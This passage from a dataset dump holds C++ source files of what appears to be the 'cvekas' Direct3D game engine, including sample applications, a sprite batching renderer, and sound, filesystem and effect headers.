instance;\r\n\tDWORD style;\r\n\tMSG msg;\r\n};\r\n\r\ntypedef boost::shared_ptr<Window> WindowPtr;\r\n\r\n} // namespace\r\n\r\n#endif" }, { "alpha_fraction": 0.6213511228561401, "alphanum_fraction": 0.6271893382072449, "avg_line_length": 16.44615364074707, "blob_id": "3e1f855dfb39b1021ad2baa1b02acb4a3fdf133b", "content_id": "eb63d218e5b3eac3739e1c691f6ee554849a7a5a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1199, "license_type": "no_license", "max_line_length": 93, "num_lines": 65, "path": "/samples/Empty/Empty.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"libraries.h\"\r\n\r\n#include \"Application.h\"\r\n#include \"Filesystem.h\"\r\n\r\nusing namespace Cvekas;\r\n\r\nclass Empty: public Application\r\n{\r\npublic:\r\n\tEmpty(HINSTANCE instance, const std::string& name, const std::string& log_filename)\r\n\t\t: Application(instance, name, log_filename)\r\n\t{\r\n\t\tFilesystem::init();\r\n\t}\r\n\r\n\tvirtual ~Empty()\r\n\t{\r\n\t}\r\n\r\n\tvirtual void initVideoDevice()\r\n\t{\r\n\t\tsettings->insert(\"video\", VideoSettings());\r\n\r\n\t\t(*settings)[\"video\"][\"ScreenWidth\"] = 800;\r\n\t\t(*settings)[\"video\"][\"ScreenHeight\"] = 600;\r\n\t\t(*settings)[\"video\"][\"VSync\"] = false;\r\n\t\t(*settings)[\"video\"][\"Fullscreen\"] = false;\r\n\r\n\t\twindow = WindowPtr(new Window(instance, name));\r\n\t\tvideo_device->init(window);\r\n\t}\r\n\r\n\tvirtual void init()\r\n\t{\r\n\t}\r\n\r\n\tvirtual bool update()\r\n\t{\r\n\t\treturn true;\r\n\t}\r\n\r\n\tvirtual bool render()\r\n\t{\r\n\t\tvideo_device->beginScene();\r\n\t\tvideo_device->endScene();\r\n\r\n\t\treturn true;\r\n\t}\r\n};\r\n\r\nint WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR pCmdLine, int nShowCmd)\r\n{\r\n\ttry\r\n\t{\r\n\t\tEmpty app(hInstance, \"Empty\", \"empty.log\");\r\n\t\tapp.run();\r\n\t}\r\n\tcatch (std::exception& e)\r\n\t{\r\n\t\tMessageBox(NULL, e.what(), \"Fatal error\", NULL);\r\n\t}\r\n\treturn 0;\r\n}\r\n" }, { "alpha_fraction": 0.6773295998573303, "alphanum_fraction": 0.6974965333938599, "avg_line_length": 20.85714340209961, "blob_id": "2c058c645720bc8b5a20f084fea102dd90d2b435", "content_id": "f8a53a0b5eb6553550111e24ef174a192cda939c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1438, "license_type": "no_license", "max_line_length": 88, "num_lines": 63, "path": "/apps/Collapse/Game.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef GAME_H\r\n#define GAME_H\r\n\r\n#include \"StateManager.h\"\r\n#include \"BitmapFont.h\"\r\n#include \"GUI.h\"\r\n\r\nusing namespace Cvekas;\r\n\r\nclass Game: public State\r\n{\r\npublic:\r\n\tGame(RendererPtr main_renderer, BitmapFontPtr font, SpriteBatchPtr sprite_batch);\r\n\t~Game();\r\n\r\n\t// Cvekas::State implementation\r\n\tvirtual void init();\r\n\tvirtual void close();\r\n\r\n\tvirtual void activate(const StateManager& state_manager) {};\r\n\tvirtual void deactivate(const StateManager& state_manager) {};\r\n\r\n\tvirtual void update(const StateManager& state_manager) {};\r\n\tvirtual void render(const StateManager& state_manager);\r\n\tvirtual void fade(const StateManager& state_manager, float amount, uint from, uint to);\r\n\r\n\tvoid draw_well(const Color& color = Color(255, 255, 255, 255));\r\n\tvoid reset();\r\n\r\nprivate:\r\n\tenum BlockColor\r\n\t{\r\n\t\tEMPTY = 0,\r\n\t\tRED = 1,\r\n\t\tGREEN = 2,\r\n\t\tBLUE = 3\r\n\t};\r\n\r\n\t// Returns source rectangle for correct box frame\r\n\tRectF getBlockSource(BlockColor color, uint frame);\r\n\r\n\t// Constants\r\n\tstatic const uint block_width = 48;\r\n\tstatic const uint block_height = 48;\r\n\tstatic const uint well_x = 24;\r\n\tstatic const uint well_y = 24;\r\n\tstatic const uint well_height = 15;\r\n\tstatic const uint well_width = 12;\r\n\r\n\t// Game state\r\n\tBlockColor well[well_width][well_height];\r\n\r\n\tGUIPtr gui;\r\n\tBitmapFontPtr font;\r\n\tSpriteBatchPtr sprite_batch;\r\n\r\n\t// Textures\r\n\tTexture2DPtr tex_blocks;\r\n};\r\n\r\ntypedef boost::shared_ptr<Game> GamePtr;\r\n\r\n#endif" }, { "alpha_fraction": 0.6399333477020264, "alphanum_fraction": 0.6552442312240601, "avg_line_length": 26.078947067260742, "blob_id": "1cba4b48cfc72743b92507b1e087b9753cee0ec0", "content_id": "7bca33d1d77bc16ec7a158975d07f12fde194117", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 9601, "license_type": "no_license", "max_line_length": 135, "num_lines": 342, "path": "/source/SpriteBatch.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"SpriteBatch.h\"\r\n\r\n#include \"ErrorHandlers.h\"\r\n#include \"Exception.h\"\r\n#include \"Filesystem.h\"\r\n#include \"Engine.h\"\r\n\r\n#define INDEX_BUFFER_NAME \"SpriteBatchIB\"\r\n#define VERTEX_BUFFER_NAME \"SpriteBatchVB\"\r\n#define DEFAULT_EFFECT_NAME \"SpriteBatch\"\r\n#define DEFAULT_EFFECT_FILE \"SpriteBatch.fx\"\r\n#define TEXTURE_SEMANTIC \"SPRITE_TEXTURE\"\r\n\r\nnamespace Cvekas {\r\n\r\nint SpriteBatch::vertex_buffer_name_counter = 0;\r\n\r\nSprite::Sprite()\r\n{\r\n}\r\n\r\nSprite::Sprite(const Sprite& s)\r\n\t:\r\nsource(s.source),\r\ndest(s.dest),\r\ncolor(s.color),\r\ntexture(s.texture),\r\nlayer(s.layer),\r\nrotation(s.rotation)\r\n{\r\n}\r\n\r\nbool Sprite::operator<(const Sprite& s)\r\n{\r\n\tif(layer != s.layer)\r\n\t\treturn layer < s.layer;\r\n\t\r\n\tif(texture.get() != s.texture.get())\r\n\t\treturn texture.get() < s.texture.get();\r\n\r\n\treturn false;\r\n}\r\n\r\nbool Sprite::operator==(const Sprite& s)\r\n{\r\n\tif(layer != s.layer)\r\n\t\treturn false;\r\n\r\n\tif(texture.get() != s.texture.get())\r\n\t\treturn false;\r\n\r\n\treturn true;\r\n}\r\n\r\nSpriteBatch::SpriteBatch(RendererPtr renderer, uint virtual_width, uint virtual_height, uint16 base_priority)\r\n\t:\r\nrenderer(renderer),\r\nvirtual_width(virtual_width),\r\nvirtual_height(virtual_height),\r\nbase_priority(base_priority),\r\nsprite_count(0),\r\nspan_count(0),\r\npresented(false)\r\n{\r\n\tEngine e;\r\n\r\n\tEffectManagerPtr effect_manager = e.getVideoDevice()->getEffectManager();\r\n\tGpuBufferManagerPtr buffer_manager = e.getVideoDevice()->getGpuBufferManager();\r\n\r\n\t// Find or create default effect\r\n\tif(effect_manager->exists(DEFAULT_EFFECT_NAME))\r\n\t\teffect = effect_manager->get(DEFAULT_EFFECT_NAME);\r\n\telse\r\n\t\teffect = effect_manager->load(DEFAULT_EFFECT_NAME, Filesystem::redirect(DEFAULT_EFFECT_FILE));\r\n\t\r\n\ttexture_param = effect->getParamBySemantic(TEXTURE_SEMANTIC);\r\n\r\n\t// Find or create index buffer\r\n\tif(buffer_manager->exists(INDEX_BUFFER_NAME))\r\n\t\tindex_buffer = buffer_manager->getIndexBuffer(INDEX_BUFFER_NAME);\r\n\telse\r\n\t{\r\n\t\tindex_buffer = buffer_manager->createIndexBuffer(INDEX_BUFFER_NAME, true, max_sprites * 6, false);\r\n\t\tbuild_ib();\r\n\t}\r\n\r\n\t// Create vertex buffer\r\n\tstd::string vb_name = FORMAT(VERTEX_BUFFER_NAME \"%d\", % vertex_buffer_name_counter);\r\n\tvertex_buffer_name_counter++;\r\n\r\n\tvertex_buffer = buffer_manager->createVertexBuffer(vb_name, VertexPosUVColor::getFormat(), max_sprites * 4, true);\r\n\r\n}\r\n\r\nSpriteBatch::~SpriteBatch()\r\n{\r\n}\r\n\t\r\nvoid SpriteBatch::present(uint technique)\r\n{\r\n\tif(presented)\r\n\t\tthrow EXCEPTION(\"Already presented this frame!\");\r\n\r\n\tbuild_batches(technique);\r\n\tpresented = true;\r\n\trenderer->prepare(*this);\r\n}\r\n\r\nvoid SpriteBatch::setEffect(EffectPtr effect)\r\n{\r\n\tthis->effect = effect;\r\n\ttexture_param = effect->getParamBySemantic(TEXTURE_SEMANTIC);\r\n}\r\n\r\nvoid SpriteBatch::draw(Texture2DPtr texture, uint layer, const RectF &source, const RectF &dest, const Color &color, float rotation)\r\n{\r\n\tif(sprite_count >= max_sprites - 1)\r\n\t\tthrow EXCEPTION(\"Too many sprites!\");\r\n\r\n\tRectF real_source;\r\n\tD3DSURFACE_DESC desc;\r\n\t\r\n\tif(!texture)\r\n\t{\r\n\t\treal_source = RectF(0.0f, 0.0f, 1.0f, 1.0f);\r\n\t}\r\n\telse\r\n\t{\r\n\t\tdesc = texture->getTopLevelDescription();\r\n\r\n\t\t// Calculate real source\r\n\t\treal_source = source;\r\n\t\treal_source.x /= (float)desc.Width;\r\n\t\treal_source.y /= (float)desc.Height;\r\n\r\n\t\tif(FCMP(real_source.width, 0.0f) && FCMP(real_source.height, 0.0f))\r\n\t\t{\r\n\t\t\treal_source.width = 1.0f - real_source.x;\r\n\t\t\treal_source.height = 1.0f - real_source.y;\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\treal_source.width /= (float)desc.Width;\r\n\t\t\treal_source.height /= (float)desc.Height;\r\n\t\t}\r\n\t}\r\n\r\n\t// Calculate real destination\r\n\tRectF real_dest = dest;\r\n\treal_dest.x = (real_dest.x / (float)virtual_width) * 2.0f - 1.0f;\r\n\treal_dest.y = (real_dest.y /(float)virtual_height) * -2.0f + 1.0f;\r\n\r\n\t// Offset by half pixel\r\n\treal_dest.x -= 1.0f / (float)virtual_width;\r\n\treal_dest.y += 1.0f / (float)virtual_height;\r\n\r\n\tif(FCMP(real_dest.width, 0.0f) && FCMP(real_dest.height, 0.0f) && texture)\r\n\t{\r\n\t\treal_dest.width = (real_source.width * (float)desc.Width) / (float)virtual_width;\r\n\t\treal_dest.height = -(real_source.height * (float)desc.Height) / (float)virtual_height;\r\n\t}\r\n\telse\r\n\t{\r\n\t\treal_dest.width /= (float)virtual_width;\r\n\t\treal_dest.height /= -(float)virtual_height;\r\n\t}\r\n\treal_dest.width *= 2.0f;\r\n\treal_dest.height *= 2.0f;\r\n\r\n\tSprite new_sprite;\r\n\tnew_sprite.source = real_source;\r\n\tnew_sprite.dest = real_dest;\r\n\tnew_sprite.color = color;\r\n\tnew_sprite.texture = texture;\r\n\tnew_sprite.layer = layer;\r\n\tnew_sprite.rotation = rotation;\r\n\r\n\tsprites[sprite_count++] = new_sprite;\r\n}\r\n\r\nvoid SpriteBatch::draw(Texture2DPtr texture, uint layer, const RectF& source, const Vector2& location, const Color& color)\r\n{\r\n\tRectF dest = RectF(location.x, location.y, 0.0f, 0.0f);\r\n\tdraw(texture, layer, source, dest, color);\r\n}\r\n\r\nvoid SpriteBatch::draw(Texture2DPtr texture, uint layer, const Vector2& location, const Color& color)\r\n{\r\n\tRectF dest = RectF(location.x, location.y, 0.0f, 0.0f);\r\n\tRectF source = RectF(0.0f, 0.0f, 0.0f, 0.0f);\r\n\tdraw(texture, layer, source, dest, color);\r\n}\r\n\r\nvoid SpriteBatch::onPreRender(uint16 batch_id)\r\n{\r\n\tif(!sprites[spans[static_cast<size_t>(batch_id)].first].texture)\r\n\t\treturn;\r\n\tTexturePtr current_texture = boost::shared_polymorphic_cast<BaseTexture>(sprites[spans[static_cast<size_t>(batch_id)].first].texture);\r\n\teffect->setParamValue(texture_param, current_texture);\r\n\teffect->commitChanges();\r\n}\r\n\r\nuint SpriteBatch::getBatches(Cvekas::Batch **batches)\r\n{\r\n\tif(!presented)\r\n\t\treturn 0;\r\n\r\n\t*batches = this->batches.data();\r\n\tpresented = false;\r\n\t\r\n\tsprite_count = 0;\r\n\r\n\treturn span_count;\r\n}\r\n\r\nvoid SpriteBatch::build_ib()\r\n{\r\n\tLOG(\"Filling SpriteBatch index buffer...\");\r\n\tLockedBuffer locked_ib = index_buffer->lock(false);\r\n\t\r\n\tassert(locked_ib.size == max_sprites * 12);\r\n\tuint16* ib_data = reinterpret_cast<uint16*>(locked_ib.data);\r\n\t\r\n\t//uint16 v;\r\n\tfor(uint i = 0, v = 0; i < max_sprites * 6; i += 6, v += 4)\r\n\t{\r\n\t\tib_data[i] = v;\r\n\t\tib_data[i+1] = v+1;\r\n\t\tib_data[i+2] = v+2;\r\n\t\tib_data[i+3] = v+2;\r\n\t\tib_data[i+4] = v+1;\r\n\t\tib_data[i+5] = v+3;\r\n\t}\r\n\r\n\tindex_buffer->unlock();\r\n}\r\n\r\nvoid SpriteBatch::build_batches(uint technique)\r\n{\r\n\tstd::sort(sprites.begin(), sprites.begin() + sprite_count);\r\n\r\n\t// Build spans\r\n\tspan_count = 0;\r\n\tuint i = 0;\r\n\twhile(i < sprite_count)\r\n\t{\r\n\t\tuint span_length = 1;\r\n\t\tif(i < sprite_count-1)\r\n\t\t{\r\n\t\t\twhile(sprites[i] == sprites[i + span_length])\r\n\t\t\t{\r\n\t\t\t\tspan_length++;\r\n\t\t\t\tif(i + span_length >= sprite_count)\r\n\t\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tSpriteSpan new_span;\r\n\t\tnew_span.first = i;\r\n\t\tnew_span.count = span_length;\r\n\t\tspans[span_count++] = new_span;\r\n\t\ti += span_length;\r\n\t}\r\n\r\n\tif(span_count >= max_spans)\r\n\t\tthrow EXCEPTION(\"Span buffer overflow!\");\r\n\r\n\t// Fill vertex buffer\r\n\tLockedBuffer locked_vb = vertex_buffer->lock(false);\r\n\tassert(locked_vb.size == max_sprites * 4 * VertexPosUVColor::getSize());\r\n\tVertexPosUVColor* vertices = reinterpret_cast<VertexPosUVColor*>(locked_vb.data);\r\n\r\n\tVector2 fres = Vector2(float(virtual_width), float(virtual_height));\r\n\tfor(uint i = 0; i < sprite_count; ++i)\r\n\t{\r\n\t\tVector3 top_left = Vector3(sprites[i].dest.x, sprites[i].dest.y, 1.0f);\r\n\t\tVector3 top_right = Vector3(sprites[i].dest.x + sprites[i].dest.width, sprites[i].dest.y, 1.0f);\r\n\t\tVector3 bottom_left = Vector3(sprites[i].dest.x, sprites[i].dest.y + sprites[i].dest.height, 1.0f);\r\n\t\tVector3 bottom_right = Vector3(sprites[i].dest.x + sprites[i].dest.width, sprites[i].dest.y + sprites[i].dest.height, 1.0f);\r\n\r\n\t\t// Rotate if neccessary\r\n\t\tif(sprites[i].rotation != 0.0f)\r\n\t\t{\r\n\t\t\tVector2 tl(top_left.x * fres.x, top_left.y * fres.y); \r\n\t\t\tVector2 tr(top_right.x * fres.x, top_right.y * fres.y);\r\n\t\t\tVector2 bl(bottom_left.x * fres.x, bottom_left.y * fres.y);\r\n\t\t\tVector2 br(bottom_right.x * fres.x, bottom_right.y * fres.y);\r\n\t\t\tVector2 c = (tl + br) / 2.0f;\r\n\t\t\t\r\n\t\t\t\r\n\t\t\ttl -= c; tr -= c; bl -= c; br -= c;\r\n\t\t\ttl.rotate(sprites[i].rotation);\r\n\t\t\ttr.rotate(sprites[i].rotation);\r\n\t\t\tbl.rotate(sprites[i].rotation);\r\n\t\t\tbr.rotate(sprites[i].rotation);\r\n\t\t\ttl += c; tr += c; bl += c; br += c;\r\n\r\n\t\t\ttop_left.x = tl.x / fres.x; top_left.y = tl.y / fres.y;\r\n\t\t\ttop_right.x = tr.x / fres.x; top_right.y = tr.y / fres.y;\r\n\t\t\tbottom_left.x = bl.x / fres.x; bottom_left.y = bl.y / fres.y;\r\n\t\t\tbottom_right.x = br.x / fres.x; bottom_right.y = br.y / fres.y;\r\n\t\t}\r\n\r\n\t\tfloat left_u = sprites[i].source.x;\r\n\t\tfloat right_u = sprites[i].source.x + sprites[i].source.width;\r\n\t\tfloat top_v = sprites[i].source.y;\r\n\t\tfloat bottom_v = sprites[i].source.y + sprites[i].source.height;\r\n\r\n\t\tD3DCOLOR color = (D3DCOLOR)sprites[i].color;\r\n\r\n\t\tvertices[4*i] = VertexPosUVColor(top_left, left_u, top_v, color);\r\n\t\tvertices[4*i + 1] = VertexPosUVColor(top_right, right_u, top_v, color);\r\n\t\tvertices[4*i + 2] = VertexPosUVColor(bottom_left, left_u, bottom_v, color);\r\n\t\tvertices[4*i + 3] = VertexPosUVColor(bottom_right, right_u, bottom_v, color);\r\n\t}\r\n\r\n\tvertex_buffer->unlock();\r\n\r\n\t// Build batches\r\n\tfor(uint i = 0; i < span_count; ++i)\r\n\t{\r\n\t\tBatch new_batch;\r\n\t\t\r\n\t\tassert(base_priority + sprites[spans[i].first].layer < MAX_UINT16);\r\n\r\n\t\tnew_batch.priority = uint16(base_priority + sprites[spans[i].first].layer);\r\n\t\tnew_batch.batch_id = static_cast<uint16>(i);\r\n\t\tnew_batch.vb_id = vertex_buffer->getId();\r\n\t\tnew_batch.ib_id = index_buffer->getId();\r\n\t\tnew_batch.effect_id = effect->getId();\r\n\t\tnew_batch.pass = 0;\r\n\t\tnew_batch.technique = technique;\r\n\t\tnew_batch.start_index = spans[i].first * 6; // 6 indexes for every sprite\r\n\t\tnew_batch.tri_count = spans[i].count * 2; // 2 triangles for every sprite\r\n\t\tnew_batch.owner = this;\r\n\r\n\t\tbatches[i] = new_batch;\r\n\t}\r\n}\r\n\r\n} // namespace" }, { "alpha_fraction": 0.6821079254150391, "alphanum_fraction": 0.684657871723175, "avg_line_length": 22.278350830078125, "blob_id": "2d4240b70890773016a368409896bf75922d734c", "content_id": "5adf71f1c197d22926a6b85e782cde2a03329789", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2353, "license_type": "no_license", "max_line_length": 98, "num_lines": 97, "path": "/source/Sound.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef SOUND_H\r\n#define SOUND_H\r\n\r\n#include \"Resource.h\"\r\n\r\nnamespace Cvekas {\r\n\r\n/// Abstract sound\r\nclass Sound : public Resource\r\n{\r\npublic:\r\n\t/// Constructor\r\n\t/// \\param name Sound name\r\n\t/// \\param id Resource ID\r\n\t/// \\param filename File, which contains sound data\r\n\tSound(const std::string& name, ResourceId id, const std::string& filename)\r\n\t\t: Resource(name, id), filename(filename)\r\n\t{\r\n\t}\r\n\r\n\t/// Destructor\r\n\tvirtual ~Sound() {};\r\n\r\n\t/// Plays or resumes paused sound.\r\n\t/// \\param loop If true, sound will restart from the beginning once finished playing.\r\n\tvirtual void play(bool loop = false) = 0;\r\n\r\n\t/// Stops sound. Does nothing if sound is not playing.\r\n\tvirtual void stop() = 0;\r\n\r\n\t/// Pauses sound. It can be resumed by play()\r\n\tvirtual void pause() = 0;\r\n\r\n\t/// Returns length of sound in seconds\r\n\tvirtual float getLength() = 0;\r\n\r\n\t/// Returns current playing cursor position in seconds\r\n\tvirtual float getPosition() = 0;\r\n\r\n\t/// Sets playing cursor position. Throws exception if t is negative or greater than sound length.\r\n\tvirtual void setPosition(float t) = 0;\r\n\r\nprivate:\r\n\tconst std::string filename;\r\n};\r\n\r\ntypedef boost::shared_ptr<Sound> SoundPtr;\r\n\r\n/// \\brief %Sound, which resides in memory all the time\r\n///\r\n/// Multiple sounds of the same %SoundSample instance can be played at the same\r\n/// time, but stop(), pause(), getPosition(), setPosition() work only on the \r\n/// last played sound.\r\nclass SoundSample : public Sound\r\n{\r\npublic:\r\n\tSoundSample(const std::string& name, ResourceId id, const std::string& filename);\r\n\tvirtual ~SoundSample();\r\n\r\n\t/// Looping is ignored for sound samples\r\n\tvirtual void play(bool loop = false);\r\n\tvirtual void stop();\r\n\tvirtual void pause();\r\n\r\n\tvirtual float getLength();\r\n\tvirtual float getPosition();\r\n\tvirtual void setPosition(float t);\r\n\r\nprivate:\r\n\tHSAMPLE handle;\r\n\tHCHANNEL last_channel;\r\n\r\n\tfloat start_pos;\r\n};\r\n\r\n/// %Sound, which is streamed from hard disk\r\nclass SoundStream : public Sound\r\n{\r\npublic:\r\n\tSoundStream(const std::string& name, ResourceId id, const std::string& filename);\r\n\tvirtual ~SoundStream();\r\n\r\n\tvirtual void play(bool loop = false);\r\n\tvirtual void stop();\r\n\tvirtual void pause();\r\n\r\n\tvirtual float getLength();\r\n\tvirtual float getPosition();\r\n\tvirtual void setPosition(float t);\r\n\r\nprivate:\r\n\tHSTREAM handle;\r\n};\r\n\r\n} // namespace\r\n\r\n#endif" }, { "alpha_fraction": 0.7216590046882629, "alphanum_fraction": 0.7216590046882629, "avg_line_length": 29.97058868408203, "blob_id": "7abb53c8bc51b363d19f3965004a9aecc6942d4c", "content_id": "995fb20e2dcc240d41ae3d5d57c930d4a6271106", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1085, "license_type": "no_license", "max_line_length": 93, "num_lines": 34, "path": "/source/Filesystem.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef FILESYSTEM_H\r\n#define FILESYSTEM_H\r\n\r\nnamespace Cvekas {\r\n\r\n/// \\brief Provides information about files \r\n/// Used as a placeholder till virtual filesystem will be implemented.\r\nclass Filesystem\r\n{\r\npublic:\r\n\t// TODO: add default redirection (to use if redir. file not found) \r\n\t/// Initializes filesystem services.\r\n\t/// For now, looks for resources.redirect file and modifies resource paths accordingly.\r\n\tstatic void init();\r\n\r\n\t/// Same as init(), just adds additional string to base path.\r\n\tstatic void init(const std::string& subdir);\r\n\r\n\t/// Returns true if file with specified path exists. Does not use resource path redirection!\r\n\tstatic bool fileExists(const std::string& path);\r\n\r\n\t/// Returns proper, redirected if neccessary, path to resource file.\r\n\tstatic std::string redirect(const std::string& path);\r\n\r\n\t/// Reads whole text file to std::string object\r\n\tstatic std::string readFileToString(const std::string& path);\r\n\r\n\t/// Writes string to file\r\n\tstatic void writeStringToFile(const std::string& path, const std::string& str);\r\n};\r\n\r\n} // namespace\r\n\r\n#endif" }, { "alpha_fraction": 0.6361746191978455, "alphanum_fraction": 0.6577962636947632, "avg_line_length": 22.049999237060547, "blob_id": "6ed3e514e90c64290f3d8d071ceda93b936ec719", "content_id": "aa981a6e9d4503b8af04292da03d8718e6c0fa03", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2405, "license_type": "no_license", "max_line_length": 126, "num_lines": 100, "path": "/samples/Triangle/Triangle.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"libraries.h\"\r\n\r\n#include \"Application.h\"\r\n#include \"GpuBufferManipulator.h\"\r\n#include \"Filesystem.h\"\r\n\r\nusing namespace Cvekas;\r\n\r\nclass Triangle : public Application\r\n{\r\npublic:\r\n\tTriangle(HINSTANCE instance, const std::string& name, const std::string& log_filename)\r\n\t\t:\r\n\tApplication(instance, name, log_filename)\r\n\t{\r\n\t\tFilesystem::init();\r\n\t}\r\n\r\n\tvirtual ~Triangle() {}\r\n\r\n\tvirtual void initVideoDevice()\r\n\t{\r\n\t\tsettings->insert(\"video\", VideoSettings());\r\n\r\n\t\t(*settings)[\"video\"][\"ScreenWidth\"] = 800;\r\n\t\t(*settings)[\"video\"][\"ScreenHeight\"] = 600;\r\n\t\t(*settings)[\"video\"][\"VSync\"] = false;\r\n\t\t(*settings)[\"video\"][\"Fullscreen\"] = false;\r\n\r\n\t\twindow = WindowPtr(new Window(instance, name));\r\n\t\tvideo_device->init(window);\r\n\t}\r\n\r\n\tvirtual void init()\r\n\t{\r\n\t\t// Loading effect\r\n\t\teffect = video_device->getEffectManager()->load(\"triangle\", Filesystem::redirect(\"Triangle.fx\"));\r\n\r\n\t\t// Creating vertex buffer\r\n\t\ttriangle_vb = video_device->getGpuBufferManager()->createVertexBuffer(\"triangle_vb\", VertexPosColor::getFormat(), 3, false);\r\n\t\t\r\n\t\t// Filling vertex buffer\r\n\t\tGpuBufferManipulator<VertexPosColor> triangle_vb_manipulator(triangle_vb);\r\n\r\n\t\ttriangle_vb_manipulator.set(0, VertexPosColor(Vector3(-0.5f, -0.5f, 0.5f), Color(255, 0, 0)));\r\n\t\ttriangle_vb_manipulator.set(1, VertexPosColor(Vector3(0.0f, 0.5f, 0.5f), Color(0, 255, 0)));\r\n\t\ttriangle_vb_manipulator.set(2, VertexPosColor(Vector3(0.5f, -0.5f, 0.5f), Color(0, 0, 255)));\r\n\r\n\t\ttriangle_vb_manipulator.apply();\r\n\r\n\t\tbatch.priority = 0;\r\n\t\tbatch.batch_id = 0;\r\n\t\tbatch.effect_id = effect->getId();\r\n\t\tbatch.pass = 0;\r\n\t\tbatch.vb_id = triangle_vb->getId();\r\n\t\tbatch.ib_id = Resource::INVALID_ID;\r\n\t\tbatch.start_index = 0;\r\n\t\tbatch.tri_count = 1;\r\n\t\tbatch.owner = NULL;\r\n\t}\r\n\r\n\tvirtual bool update()\r\n\t{\r\n\t\treturn true;\r\n\t}\r\n\r\n\tvirtual bool render()\r\n\t{\r\n\t\tvideo_device->beginScene();\r\n\r\n\t\tmain_renderer->prepare(batch);\r\n\t\tmain_renderer->render();\r\n\r\n\t\tvideo_device->endScene();\r\n\r\n\t\tmain_renderer->endFrame();\r\n\r\n\t\treturn true;\r\n\t}\r\n\r\nprivate:\r\n\tEffectPtr effect;\r\n\tVertexBufferPtr triangle_vb;\r\n\tBatch batch;\r\n};\r\n\r\nint WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR pCmdLine, int nShowCmd)\r\n{\r\n\tTriangle demo(hInstance, \"Triangle\", \"Triangle.log\");\r\n\ttry\r\n\t{\r\n\t\tdemo.run();\r\n\t}\r\n\tcatch (std::exception& e)\r\n\t{\r\n\t\tMessageBox(NULL, e.what(), \"Fatal error\", NULL);\r\n\t}\r\n\treturn 0;\r\n}\r\n" }, { "alpha_fraction": 0.7151639461517334, "alphanum_fraction": 0.7192623019218445, "avg_line_length": 26.72549057006836, "blob_id": "1535beb7724a54e9607867efff4727f21ccc9c2d", "content_id": "f186a898f70095878b03020a124fe2602505d5bb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2928, "license_type": "no_license", "max_line_length": 98, "num_lines": 102, "path": "/source/Effect.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef EFFECT_H\r\n#define EFFECT_H\r\n\r\n#include \"Resource.h\"\r\n#include \"BaseTexture.h\"\r\n#include \"Vector4.h\"\r\n#include \"Matrix.h\"\r\n#include \"EffectParams.h\"\r\n#include \"CommonTypes.h\"\r\n\r\nnamespace Cvekas {\r\n\r\n/// Manages device render states and shader parameters\r\nclass Effect : public Resource\r\n{\r\npublic:\r\n\t/// Constructor. Loads effect from file.\r\n\tEffect(ResourceId id, D3DDevicePtr device, const std::string& name, const std::string& filename);\r\n\r\n\t/*\r\n\t/// Constructor. Loads effect from in-memory string.\r\n\tEffect(ResourceId id, DevicePtr _device, const std::string& name, const char* effect);\r\n\t*/\r\n\r\n\t/// Destructor\r\n\t~Effect();\r\n\r\n\t/// Finds parameter by its name\r\n\t/// \\param name Parameter name\r\n\t/// \\returns Paramter handle, or NULL if such name does not exist\r\n\tParamHandle getParamByName(const std::string& name);\r\n\r\n\t/// Finds parameter by its semantic\r\n\t/// \\param name Parameter semantic\r\n\t/// \\returns Parameter handle, or NULL if such semantic does not exist\r\n\tParamHandle getParamBySemantic(const std::string& name);\r\n\r\n\t/// Sets bool parameter\r\n\tvoid setParamValue(ParamHandle handle, bool value);\r\n\t/// Sets float parameter\r\n\tvoid setParamValue(ParamHandle handle, float value);\r\n\t/// Sets int parameter\r\n\tvoid setParamValue(ParamHandle handle, int value);\r\n\t/// Sets Matrix parameter\r\n\tvoid setParamValue(ParamHandle handle, const Matrix& value);\r\n\t/// Sets Texture parameter\r\n\tvoid setParamValue(ParamHandle handle, TexturePtr texture);\r\n\t/// Sets Vector4 parameter\r\n\tvoid setParamValue(ParamHandle handle, const Vector4& value);\r\n\t/// Sets arbitrary type parameter\r\n\tvoid setParamValue(ParamHandle handle, const void* ptr, uint size);\r\n\r\n\t/// Begins rendering with this effect\r\n\t/// \\returns Number of passes this effect has\r\n\tunsigned int begin();\r\n\r\n\t/// Ends rendering with this effect\r\n\tvoid end();\r\n\r\n\t/// Begins pass\r\n\t/// \\param pass Pass number, must be less than number renturned by begin()\r\n\tvoid beginPass(uint pass);\r\n\r\n\t/// Ends pass\r\n\tvoid endPass();\r\n\r\n\t/// Sets technique with specified index. Technique 0 is used by default\r\n\tvoid setTechnique(uint index);\r\n\r\n\t/// Updates effect parameters between beginPass and endPass calls.\r\n\t/// Must be called before rendering every object if more than one object is rendered per pass.\r\n\tvoid commitChanges();\r\n\r\n\t/// Applies automatically handled parameters\r\n\tvoid applyAutoParams();\r\n\r\n\tEffectParamsPtr getAutoParams() { return auto_params; };\r\n\r\n\t/// Returns pointer to ID3DXEffect stored in this %Effect\r\n\tID3DXEffect* getD3DXEffect();\r\n\r\n\t/// You shouldn't call this\r\n\tvoid onDeviceLost();\r\n\t/// You shouldn't call this\r\n\tvoid onDeviceReset();\r\n\r\n\tstatic const uint INVALID_PASS = 0xFFFFFFFF;\r\n\tstatic const uint 